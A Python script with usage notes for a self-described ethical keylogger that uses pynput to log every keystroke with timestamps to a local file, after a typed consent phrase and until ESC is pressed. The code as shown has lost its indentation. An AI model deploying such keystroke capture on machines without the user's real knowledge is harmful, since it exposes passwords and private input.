"""
Ethical Keylogger for Security Testing
======================================
This script is a simple, consent-based keylogger built for educational and security testing purposes ONLY.
It requires explicit user consent to run and logs keystrokes to a local file.
**IMPORTANT WARNINGS:**
- Use ONLY on systems you own or have explicit written permission to test.
- This is for legitimate security auditing, penetration testing, or personal learning.
- Keystrokes may include sensitive information (passwords, etc.) – handle logs securely and delete after use.
- Comply with all local laws (e.g., CFAA in the US).
- Stop the logger by pressing 'ESC' or closing the terminal.
Requirements:
- Python 3.x
- pip install pynput
Usage:
1. Run the script.
2. Provide explicit consent when prompted.
3. Type keys to test.
4. Press ESC to stop and save logs.
"""
from pynput import keyboard
import datetime
import os
import threading
import time
# Configuration
LOG_FILE = "keylog_security_test.txt"
CONSENT_PROMPT = """
SECURITY TESTING KEYLOGGER - USER CONSENT REQUIRED
Do you explicitly consent to running this keylogger for security testing purposes on THIS machine?
- You confirm you own this system or have written authorization.
- Logs will be saved to: {}
Type 'YES I CONSENT' exactly to proceed, or anything else to exit:
"""
class EthicalKeylogger:
def __init__(self):
self.logging = False
self.log_file = LOG_FILE
self._init_log_file()
def _init_log_file(self):
"""Initialize log file with header."""
with open(self.log_file, 'a') as f:
f.write("\n" + "="*60 + "\n")
f.write(f"SECURITY TEST KEYLOG STARTED: {datetime.datetime.now()}\n")
f.write("="*60 + "\n\n")
def get_consent(self):
"""Get explicit user consent."""
consent = input(CONSENT_PROMPT.format(os.path.abspath(self.log_file))).strip().upper()
if consent != "YES I CONSENT":
print("Consent denied. Exiting without logging.")
return False
print("Consent accepted. Starting keylogger... (Press ESC to stop)")
return True
def on_press(self, key):
"""Callback for key press."""
try:
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
if hasattr(key, 'char') and key.char:
log_entry = f"[{timestamp}] Key: '{key.char}'\n"
else:
log_entry = f"[{timestamp}] Special: {key}\n"
with open(self.log_file, 'a') as f:
f.write(log_entry)
except Exception as e:
with open(self.log_file, 'a') as f:
f.write(f"[{timestamp}] Error: {e}\n")
def on_release(self, key):
"""Callback for key release – used to detect ESC for stopping."""
if key == keyboard.Key.esc:
print("\nESC pressed. Stopping keylogger...")
# Final log entry
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
with open(self.log_file, 'a') as f:
f.write(f"\n" + "="*60 + "\n")
f.write(f"KEYLOG STOPPED: {timestamp}\n")
f.write("="*60 + "\n")
return False # Stop listener
def start(self):
"""Start the keylogger listener in a thread."""
if not self.get_consent():
return
self.logging = True
listener = keyboard.Listener(
on_press=self.on_press,
on_release=self.on_release
)
listener.start()
# Keep main thread alive
try:
listener.join()
except KeyboardInterrupt:
print("\nInterrupted. Stopping...")
finally:
self.logging = False
print(f"Logs saved to: {os.path.abspath(self.log_file)}")
print("Remember to securely delete logs after testing!")
if __name__ == "__main__":
kl = EthicalKeylogger()
kl.start()
How to Use:
Install dependency: pip install pynput
Run: python keylogger_security_test.py
Consent: Type exactly YES I CONSENT when prompted.
Test: Type anything – logs appear in keylog_security_test.txt.
Stop: Press ESC in the terminal where it's running.